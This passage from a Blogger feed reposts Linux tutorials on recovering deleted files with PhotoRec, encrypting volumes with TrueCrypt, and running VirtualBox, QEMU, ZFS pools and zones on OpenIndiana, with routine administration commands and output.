OS downloading and applying updates in the background, or downloading
new files and installing new packages, could cause the space of the
deleted file to be overwritten.<br />
Therefore, shutdown that OS immediately, and boot with a live CD or a live USB that does not write to that medium.<br />
<div class="note">
<strong>Tip:</strong> CGSecurity has a list of live CD images, which includes their utilities, <a href="http://www.cgsecurity.org/wiki/TestDisk_Livecd">here</a>. You could consider keeping a CD of one of these in your toolkit to guard against such emergencies.</div>
<h2>
Overview — TestDisk</h2>
This
software should be used to recover lost partitions, or to make
non-bootable disks bootable again. TestDisk claims to perform the
following operations:<br />
<ul>
<li>Fix partition tables and recover deleted partitions</li>
<li>Recover the FAT32 boot sector from its backup</li>
<li>Rebuild the FAT12/FAT16/FAT32 boot sector</li>
<li>Fix FAT tables</li>
<li>Rebuild the NTFS boot sector</li>
<li>Recover the NTFS boot sector from its back-up</li>
<li>Locate the ext2/ext3/ext4 backup superblock</li>
<li>Undelete files from the FAT, exFAT, NTFS and ext2 filesystem</li>
<li>Copy files from the deleted FAT, exFAT, NTFS and ext2/ext3/ext4 partitions.</li>
</ul>
<h2>
PhotoRec</h2>
This
software claims to recover individual files, such as ZIP, Office, PDF,
HTML, JPEG and 390 other file extensions. In case TestDisk fails to do
the job, use PhotoRec. Personally, I prefer PhotoRec.<br />
<h3>
Using PhotoRec</h3>
PhotoRec
recovers files by finding deleted files and copying them to another
disk/medium (files should not be recovered to the partition/medium which
has the deleted files because that could lead to data being
overwritten, as explained before). Also, PhotoRec will most likely
recover a lot of files, so the partition/medium on which you are storing
recovered data should ideally be at least as large as the
partition/medium being recovered.<br />
The possible modes for recovery are:<br />
<ul>
<li>Recover the files to a separate hard drive.</li>
<li>Recover the files to a networked storage drive.</li>
<li>Recover the files to a separate partition on the same hard drive.</li>
</ul>
I
personally prefer the first option. Now, I have an 8 GB pen drive
containing some data that I have formatted. I will show you how to
recover data from it, using my laptop that runs Ubuntu 11.10.<br />
First,
download PhotoRec from the link mentioned earlier, and unpack it. Next,
fire up the terminal, and navigate to the directory where it’s
extracted. Launch PhotoRec with: <code>sudo ./photorec_static</code>. Select the disk from which to recover data. In my case, it is my HP pen drive, shown as <code>/dev/sdb</code> (Figure 1).<br />
<div class="wp-caption aligncenter" id="attachment_11376" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery1.jpg"><img alt="Disk selection in PhotoRec" class="size-large wp-image-11376" height="561" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery1-590x561.jpg" title="Disk selection in PhotoRec" width="590" /></a><div class="wp-caption-text">
Figure 1: Disk selection in PhotoRec</div>
</div>
Next,
select a partition, as shown in Figure 2. You can also go to Options to
select a specific type of file to recover (e.g., Figure 3). Select
which types to recover.<br />
<div class="wp-caption aligncenter" id="attachment_11377" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery2.jpg"><img alt="Partition selection" class="size-large wp-image-11377" height="557" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery2-590x557.jpg" title="Partition selection" width="590" /></a><div class="wp-caption-text">
Figure 2: Partition selection</div>
</div>
<div class="wp-caption aligncenter" id="attachment_11378" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery3.jpg"><img alt="File type information" class="size-large wp-image-11378" height="559" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery3-590x559.jpg" title="File type information" width="590" /></a><div class="wp-caption-text">
Figure 3: File type information</div>
</div>
As
you can see in Figure 4, I have ‘unticked’ the last four file types,
such as bmp, bkf, etc. After you are done, quit and return to the main
menu.<br />
<div class="wp-caption aligncenter" id="attachment_11379" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery4.jpg"><img alt="File type selection" class="size-large wp-image-11379" height="564" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery4-590x564.jpg" title="File type selection" width="590" /></a><div class="wp-caption-text">
Figure4: File type selection</div>
</div>
Select the file system of the partition on which your data was stored, as shown in Figure 5.<br />
<div class="wp-caption aligncenter" id="attachment_11380" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery5.jpg"><img alt="Filesystem type selection" class="size-large wp-image-11380" height="224" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery5-590x224.jpg" title="Filesystem type selection" width="590" /></a><div class="wp-caption-text">
Figure 5: Filesystem type selection</div>
</div>
Proceed with the recovery (similar to Figure 6). This will take a long time, so be patient.<br />
<div class="wp-caption aligncenter" id="attachment_11381" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery6.jpg"><img alt="Recovery in progress" class="size-large wp-image-11381" height="371" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery6-590x371.jpg" title="Recovery in progress" width="590" /></a><div class="wp-caption-text">
Figure 6: Recovery in progress</div>
</div>
After the recovery is done, you will get a lot of folders, as shown in Figure 7.<br />
<div class="wp-caption aligncenter" id="attachment_11382" style="width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery7.jpg"><img alt="Recovered files and folders" class="size-large wp-image-11382" height="319" src="http://cdn.linuxforu.com/wp-content/uploads/2012/05/dataRecovery7-590x319.jpg" title="Recovered files and folders" width="590" /></a><div class="wp-caption-text">
Figure 7: Recovered files and folders</div>
</div>
It’s
up to you to search through them for the data you want to keep. You can
now unmount or eject the partition/drive to which recovered files were
stored, shutdown and reboot the normal distribution you were using
earlier, and dig through the recovered files from it, if you prefer to.<br />
In the second part of this article, I will discuss data recovery using more advanced tools.<br />
<img alt="" id="wpstats" src="http://stats.wordpress.com/g.gif?host=www.linuxforu.com&rand=0.146047522016443&v=ext&j=1%3A1.4.2&blog=12329356&post=11372&ref=http%3A//www.linuxforu.com/category/how-tos/home-quick-tips/" /></div>
</div>
</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-29188000637128936132012-09-24T01:38:00.001-07:002012-09-24T01:38:39.404-07:00TrueCrypt — Learn the Art of Encryption..!!<div class="introduction" style="text-align: justify;">
<br /> <img height="300" id="il_fi" src="http://www.google.co.in/url?source=imglanding&ct=img&q=http://www.hackstacks.com/wp-content/uploads/2011/02/true-crypt-logo.jpg&sa=X&ei=9xtgUJD_DIzJrAeSvIHoDA&ved=0CAkQ8wc&usg=AFQjCNHFwN1s151Nnj--5oyHyImohf6yAA" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" width="344" />When did you last feel that you ought to have
secured that important file so nobody else could view it without your
permission? Ever lost your pen drive with loads of family photos or
important spreadsheets? Do you often worry that Big Brother may be
watching your uploads to the cloud? If the answer to all those questions
is a “Yes”, the solution is encryption!</div>
<div style="text-align: justify;">
Many commercial
encryption products can protect files, folders and partitions. Probably
the most discussed is “Bitlocker”, which is bundled free with MS Windows
7 Ultimate. And if you have ever wondered if there is open source
encryption software — there is and it’s called TrueCrypt.</div>
<div style="text-align: justify;">
As mentioned on <a href="http://www.truecrypt.org/">TrueCrypt.org</a>,
it is a software system to establish and maintain an
on-the-fly-encrypted volume (data storage device). On-the-fly implies
that data is automatically encrypted right before it is saved, and
decrypted right after it is read, without user intervention. No data
stored on an encrypted volume can be decrypted without the correct
password/keyfile(s) or correct encryption keys. The entire file system
is encrypted.</div>
<div style="text-align: justify;">
Files can be copied to and from a mounted TrueCrypt
volume just like with any normal disk (for example, by simple
drag-and-drop operations). The software works as expected, is simple,
and has a GUI for ease of use. Apart from these properties, I would say
that its most important feature is the security TrueCrypt offers. It’s
so secure that even <a href="http://forums.cnet.com/7726-6132_102-3330925.html">FBI hackers failed to recover data from TrueCrypt encrypted volumes</a>.
Surprised? Here are some more facts: it is available under the GPL,
works on almost all operating systems, including Linux, Mac OS and MS
Windows 2000, and later versions.</div>
<div style="text-align: justify;">
Continue reading at your own risk… you may soon fall in love with TrueCrypt!</div>
<h2 style="text-align: justify;">
The basics of encryption</h2>
<div style="text-align: justify;">
So
let’s take a quick look at the basics of encryption. Everybody knows
what a password is, and how it operates. Anybody can visualize
encryption key to be same as the password. However, technically, there
are a few differences. Look at the following table for a comparison.</div>
<table border="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><thead>
<tr><td>Password</td><td>Encryption key</td></tr>
</thead><tbody>
<tr><td>Typically, a combination of a few characters to be entered before gaining access.</td><td>A combination of characters, generally slang or a pass-phrase or random character sequence required to decrypt the message.</td></tr>
<tr><td>Does not change the contents of the original resource.</td><td>Is used to actually change the data by using encryption techniques.</td></tr>
<tr><td>If
lost, protection can typically be removed with ready-made tools such as
spreadsheet and document password crackers/removers, to reveal the
actual data.</td><td>It is practically impossible to retrieve (decrypt)
data from an encrypted file unless the key is known. The only way is
brute force, which can also be ineffective for a key with sufficient
strength.</td></tr>
</tbody></table>
<div style="text-align: justify;">
(Be careful — lose the encryption key, and you lose all the data!)</div>
<div style="text-align: justify;">
Basically,
there are three encryption mechanisms: the symmetric key, asymmetric
key and hashing. For this article, we need to understand two of them.</div>
<div style="text-align: justify;">
Symmetric
key encryption converts data from clear text (original format) to
cipher text (encrypted format) using an encryption algorithm and an
encryption key. The same key is used to convert encrypted data back to
clear text. To keep data safe, one must guard the key.</div>
<div style="text-align: justify;">
A hash
algorithm is used on data to produce a unique value (a string of unique
characters). If the same algorithm is used on modified data, the
generated checksum differs, thus confirming the loss of original data
integrity. One important property of the hash value is that it cannot be
used to recreate the original data.</div>
<div style="text-align: justify;">
TrueCrypt uses both these functions: symmetric key encryption and a hash algorithm. Now, let’s understand more about TrueCrypt.</div>
<h2 style="text-align: justify;">
Installation</h2>
<div style="text-align: justify;">
<a href="http://www.truecrypt.org/downloads">Download</a>
the latest stable version available, which is 7.1, for your OS. The
basic installation is simple and straight forward; I will walk you
through the steps for SuSE 11.1.</div>
<div style="text-align: justify;">
Untar the downloaded binaries and
launch the setup. Proceed through various screens and complete the
installation by accepting the license. The application browser will show
the installed package.</div>
<h2 style="text-align: justify;">
Usage</h2>
<div style="text-align: justify;">
Launch TrueCrypt, select a slot and click the <em>Create Volume</em> button to launch the volume creation wizard. After selecting <em>Standard TrueCrypt Volume</em>, enter the desired filename (DemoVolume), as shown in Figure 1.</div>
<div class="wp-caption alignright" id="attachment_9867" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2012/02/truecrypt-1.jpg"><img alt="TrueCrypt main screen and volume creation wizard" class="size-large wp-image-9867" height="442" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/truecrypt-1-590x442.jpg" title="TrueCrypt main screen and volume creation wizard" width="590" /></a><div class="wp-caption-text">
Figure 1: TrueCrypt main screen and volume creation wizard</div>
</div>
<div style="text-align: justify;">
Next,
select the location where you wish to create the volume. The next
screen asks you to select the encryption and hash algorithms. (You may
also select a combination of algorithms.) To estimate the encrypted file
write speed, you may want to benchmark your system. The test machine
had 49 and 51 MBps encryption and decryption speeds.</div>
<div style="text-align: justify;">
Select the
desired encryption and hash algorithm, followed by the volume size, as
required. To create DemoVolume, I chose AES encryption SHA-512 hash and
the size of 10 MB. Continue and provide a strong pass-phrase (I used <em>KhulJaSimSimkhuljasimsim</em>), choose the filesystem type, and format the volume.</div>
<div style="text-align: justify;">
Mount
this volume (see Figure 2) by selecting DemoVolume and entering the
corresponding pass-phrase. The mounted volume will be accessible just
like any other. Files can be copied to it with a file browser. Once data
is copied, simply dismount this volume. Your data is now saved in a
TrueCrypt encrypted volume file, which you can email, copy on a pen
drive, or even synchronise with cloud-based storage services.</div>
<div class="wp-caption alignright" id="attachment_9868" style="text-align: justify; width: 572px;">
<img alt="Mount volume" class="size-full wp-image-9868" height="723" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/truecrypt-2.png" title="Mount volume" width="572" /><div class="wp-caption-text">
Figure 2: Mount volume</div>
</div>
<div style="text-align: justify;">
You
can use this tool to encrypt complete partitions, a pen drive or any
data storage device to secure your data, just like creating a new volume
of the required size. Do use this utility, and let your friends know
about it. Also, do consider making a donation to this fantastic project.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-54162149749942109532012-09-24T01:33:00.004-07:002012-09-24T01:33:55.355-07:00Virtualisation and Disk Management in OpenIndiana..!!!<div class="hentry-meta" style="text-align: justify;">
</div>
<div style="text-align: justify;">
<img alt="Let's play the disk" class="alignleft size-full wp-image-6129" height="412" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/open-indiana-2.jpeg" title="Let's play the disk" width="350" /></div>
<div class="introduction" style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
VirtualBox</h2>
<div style="text-align: justify;">
Sun Microsystems, and now Oracle,
oversee the development of the emulation project called VirtualBox.
However, this package couldn’t be found in the OpenIndiana (OI)
repositories. To install it in OI, grab the gzipped package <a href="http://www.virtualbox.org/wiki/Downloads">here</a> and manually install it. The archive is called “VirtualBox 4.1 for Solaris hosts x86/amd64″. Please unpack it, and then run <code>pkgadd</code>:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_274537">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton/Install# pkgadd -d VirtualBox-4.1.0-SunOS-r73009.pkg</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="text plain">The following packages are available:</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">1 SUNWvbox Oracle VM VirtualBox</code></div>
<div class="line number5 index4 alt2">
<code class="text spaces"> </code><code class="text plain">(i386) 4.1.0,REV=2011.07.19.12.47.73009</code></div>
<div class="line number6 index5 alt1">
</div>
<div class="line number7 index6 alt2">
<code class="text plain">Select package(s) you wish to process (or 'all' to process</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">all packages). (default: all) [?,??,q]: a</code></div>
<div class="line number9 index8 alt2">
</div>
<div class="line number10 index9 alt1">
<code class="text plain">Processing package instance <SUNWvbox> from </home/anton/Install/VirtualBox-4.1.0-SunOS-r73009.pkg></code></div>
<div class="line number11 index10 alt2">
</div>
<div class="line number12 index11 alt1">
<code class="text plain">[...snip...]</code></div>
<div class="line number13 index12 alt2">
</div>
<div class="line number14 index13 alt1">
<code class="text plain">The following files are being installed with setuid and/or setgid</code></div>
<div class="line number15 index14 alt2">
<code class="text plain">permissions:</code></div>
<div class="line number16 index15 alt1">
<code class="text plain">/opt/VirtualBox/amd64/VBoxBFE <setuid root></code></div>
<div class="line number17 index16 alt2">
<code class="text plain">/opt/VirtualBox/amd64/VBoxHeadless <setuid root></code></div>
<div class="line number18 index17 alt1">
<code class="text plain">/opt/VirtualBox/amd64/VBoxNetAdpCtl <setuid root></code></div>
<div class="line number19 index18 alt2">
<code class="text plain">/opt/VirtualBox/amd64/VBoxNetDHCP <setuid root></code></div>
<div class="line number20 index19 alt1">
<code class="text plain">/opt/VirtualBox/amd64/VBoxSDL <setuid root></code></div>
<div class="line number21 index20 alt2">
<code class="text plain">/opt/VirtualBox/amd64/VirtualBox <setuid root></code></div>
<div class="line number22 index21 alt1">
<code class="text plain">Do you want to install these as setuid/setgid files [y,n,?,q] y</code></div>
<div class="line number23 index22 alt2">
</div>
<div class="line number24 index23 alt1">
<code class="text plain">This package contains scripts which will be executed with super-user</code></div>
<div class="line number25 index24 alt2">
<code class="text plain">permission during the process of installing this package.</code></div>
<div class="line number26 index25 alt1">
</div>
<div class="line number27 index26 alt2">
<code class="text plain">Do you want to continue with the installation of <SUNWvbox> [y,n,?] y</code></div>
<div class="line number28 index27 alt1">
</div>
<div class="line number29 index28 alt2">
<code class="text plain">Installing Oracle VM VirtualBox as <SUNWvbox></code></div>
<div class="line number30 index29 alt1">
</div>
<div class="line number31 index30 alt2">
<code class="text plain">[...snip...]</code></div>
<div class="line number32 index31 alt1">
</div>
<div class="line number33 index32 alt2">
<code class="text plain">Installation of <SUNWvbox> was successful.</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div class="wp-caption aligncenter" id="attachment_6126" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/11/oi201.png"><img alt="Running VirtualBox in OpenIndiana" class="size-large wp-image-6126" height="472" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/oi201-590x472.png" title="Running VirtualBox in OpenIndiana" width="590" /></a><div class="wp-caption-text">
Running VirtualBox in OpenIndiana</div>
</div>
<div style="text-align: justify;">
File
operations, and the general VirtualBox used in OI, are no different
than on Linux. You can even exchange VMs created in OI with Linux, and
vice-versa.</div>
<h2 style="text-align: justify;">
QEMU</h2>
<div style="text-align: justify;">
However, some developers need to deal
with platforms other than x86 — for example, ARM and PowerPC. So, what’s
the alternative to VirtualBox? The solution is straightforward — QEMU.
It can emulate x86 systems and a dozen other architectures; e.g., Linux
for ARM with <code>qemu-system-arm</code>, or MacOS X with <code>qemu-system-ppc64</code>.</div>
<div style="text-align: justify;">
The build process for QEMU 0.15 requires the <code>gettext@0.5.11</code>
package, as well as developer packages that contain definitions of
mathematical functions. I performed the following operations:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_616724">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# pkg info | egrep "math|gettext"</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">Name: developer/gnome/gettext</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">FMRI: pkg://openindiana.org/developer/gnome/gettext@0.5.11,5.11-0.151:20110523T143743Z</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">Name: system/library/math</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">FMRI: pkg://openindiana.org/system/library/math@0.5.11,5.11-0.151:20110523T150249Z</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">Name: system/library/math/header-math</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">FMRI: pkg://openindiana.org/system/library/math/header-math@0.5.11,5.11-0.151:20110523T150250Z</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
I
was able to build QEMU 0.15 without problems. However, I have to
disable GuestAgents support, mainly because QEMU 0.15 calls functions
with <code>O_ASYNC</code> parameters, which isn’t supported on Solaris.</div>
<div class="wp-caption aligncenter" id="attachment_6127" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/11/oi100.png"><img alt="QEMU 0.15 compiled on OI; VM with Ubuntu Server" class="size-large wp-image-6127" height="447" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/oi100-590x447.png" title="QEMU 0.15 compiled on OI; VM with Ubuntu Server" width="590" /></a><div class="wp-caption-text">
QEMU 0.15 compiled on OI; VM with Ubuntu Server</div>
</div>
<div class="wp-caption aligncenter" id="attachment_6128" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/11/oi304.png"><img alt="Windows 2003 EE in QEMU 0.15" class="size-large wp-image-6128" height="499" src="http://cdn.linuxforu.com/wp-content/uploads/2011/11/oi304-590x499.png" title="Windows 2003 EE in QEMU 0.15" width="590" /></a><div class="wp-caption-text">
Windows 2003 EE in QEMU 0.15</div>
</div>
<div style="text-align: justify;">
You could compile the previous version, 0.14, or do a quick hack on line 493 in <code>qemu-ga.c</code>, from:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate c" id="highlighter_289418">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="c plain">fd = qemu_open(s->path, O_RDWR | O_NONBLOCK | O_ASYNC);</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
…to:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate c" id="highlighter_595028">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="c plain">fd = qemu_open(s->path, O_RDWR | O_NONBLOCK);</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Or, as mentioned earlier, compile it without GuestAgents support:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_651271">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">./configure --prefix=/opt/qemu-0.15 –disable-guest-agent</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">make && make install ## run as root</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
After that, you should prepare a file image for the virtual OS to install to, and run it as follows:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_136091">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">/opt/qemu-0.15/bin/qemu-img create ubuntu2.img 2000M</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">/opt/qemu-0.15/bin/qemu -hda ubuntu2.img -cdrom /home/anton/ISO/ubuntu-10.10-server-i386.iso -M pc -m 768 -vga cirrus -no-acpi</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
Similarly, you can use other OSs, for example, Windows 2003 EE:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_493324">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">/opt/qemu-0.15/bin/qemu -hda windows2003.img -cdrom /home/anton/ISO/win2003_sp2.iso -M pc -m 1024 -vga cirrus</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div class="note" style="text-align: justify;">
<strong>A small tip:</strong> If you can’t press the keyboard Ctrl+Alt+Del, then go to the QEMU console with Ctrl+Alt+2. Here, type <code>sendkey ctrl-alt-delete</code> and press Enter. The OS in the VM will receive the keyboard combination.</div>
<h2 style="text-align: justify;">
Disk management</h2>
<div style="text-align: justify;">
Let’s
imagine that you have a new drive to be used for data storage. It could
be a special, dedicated database storage pool. This drive should be
initialised first, partitioned with a file format that is used by OI.
You can use the <code>format</code> command (it can be used in interactive mode):</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_209247">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# format</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">Searching for disks...</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">Failed to inquiry this logical diskdone</code></div>
<div class="line number4 index3 alt1">
</div>
<div class="line number5 index4 alt2">
<code class="text plain">AVAILABLE DISK SELECTIONS:</code></div>
<div class="line number6 index5 alt1">
<code class="text spaces"> </code><code class="text plain">0. c1d0 < cyl 2868 alt 2 hd 255 sec 63></code></div>
<div class="line number7 index6 alt2">
<code class="text spaces"> </code><code class="text plain">/pci@0,0/pci-ide@1,1/ide@0/cmdk@0,0</code></div>
<div class="line number8 index7 alt1">
<code class="text spaces"> </code><code class="text plain">1. c2d1 <QEMU HAR-QM0000-0001-2.00GB></code></div>
<div class="line number9 index8 alt2">
<code class="text spaces"> </code><code class="text plain">/pci@0,0/pci-ide@1,1/ide@1/cmdk@1,0</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
We can format the whole drive with the <code>format</code> option in the menu (not shown), or assign a label using <code>volname</code>.</div>
<div style="text-align: justify;">
The last step is to add the drive to the ZFS pool—and the new storage space is ready to use:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_550679">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# zpool create pool c2d1</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
You can list the available pools and see that both<br /> pools (i.e., disks) are online:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_509824">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">oot@openindiana:/home/anton# zpool list</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">NAME SIZE ALLOC FREE CAP DEDUP HEALTH ALTROOT</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">pool 1.98G 124K 1.98G 0% 1.00x ONLINE -</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">rpool 21.9G 9.17G 12.7G 41% 1.00x ONLINE -</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<h2 style="text-align: justify;">
Zones management</h2>
<div style="text-align: justify;">
In
addition to VirtualBox and QEMU virtualisation, OI (and OpenSolaris)
offers fairly well-developed virtualisation within the OS, called <a class="broken_link" href="http://www.virtualbox.org/wiki/Downloads%20http://en.wikipedia.org/wiki/Solaris_Containers">Solaris Zones</a>.
Unfortunately, OI does not yet support zones that can run Linux (though
it was available in the previous OpenSolaris version). OI supports mere
native zones — when the system runs zones (or containers) with OI
inside them. Let’s explore how to create them. Begin by using the
following code:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_481287">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# zonecfg -z NewZone</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">NewZone: No such zone configured</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">Use 'create' to begin configuring a new zone.</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">zonecfg:NewZone> create</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">zonecfg:NewZone> add net</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">zonecfg:NewZone:net> set physical = rtls0</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">zonecfg:NewZone:net> set address = 192.168.254.200</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">zonecfg:NewZone:net> end</code></div>
<div class="line number9 index8 alt2">
<code class="text plain">zonecfg:NewZone> set zonepath=/pool/NewZone</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">zonecfg:NewZone> commit</code></div>
<div class="line number11 index10 alt2">
<code class="text plain">zonecfg:NewZone> exit</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
You have created a new zone. It is stored under <code>/pool/NewZone</code> on the disk you just attached and initialised. For a zone to be complete, you must install the bare OI system into this area:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter nogutter notranslate text" id="highlighter_195325">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">root@openindiana:/home/anton# zoneadm -z NewZone install</code></div>
<div class="line number2 index1 alt1">
<code class="text plain">A ZFS file system has been created for this zone.</code></div>
<div class="line number3 index2 alt2">
<code class="text spaces"> </code><code class="text plain">Publisher: Using openindiana.org (http://pkg.openindiana.org/dev-il/ ).</code></div>
<div class="line number4 index3 alt1">
<code class="text spaces"> </code><code class="text plain">Image: Preparing at /pool/NewZone/root.</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">Refreshing catalog 1/1 openindiana.org</code></div>
<div class="line number6 index5 alt1">
<code class="text plain">Caching catalogs ...</code></div>
<div class="line number7 index6 alt2">
<code class="text spaces"> </code><code class="text plain">Cache: Using /var/pkg/download.</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">Sanity Check: Looking for 'entire' incorporation.</code></div>
<div class="line number9 index8 alt2">
<code class="text spaces"> </code><code class="text plain">Installing: Core System (output follows)</code></div>
<div class="line number10 index9 alt1">
</div>
<div class="line number11 index10 alt2">
<code class="text spaces"> </code><code class="text plain">Packages to install: 1</code></div>
<div class="line number12 index11 alt1">
<code class="text spaces"> </code><code class="text plain">Create boot environment: No</code></div>
<div class="line number13 index12 alt2">
</div>
<div class="line number14 index13 alt1">
<code class="text plain">[...snip...]</code></div>
<div class="line number15 index14 alt2">
</div>
<div class="line number16 index15 alt1">
<code class="text plain">Postinstall: Copying SMF seed repository ... done.</code></div>
<div class="line number17 index16 alt2">
<code class="text plain">Postinstall: Applying workarounds.</code></div>
<div class="line number18 index17 alt1">
<code class="text spaces"> </code><code class="text plain">Done: Installation completed in 771.344 seconds.</code></div>
<div class="line number19 index18 alt2">
</div>
<div class="line number20 index19 alt1">
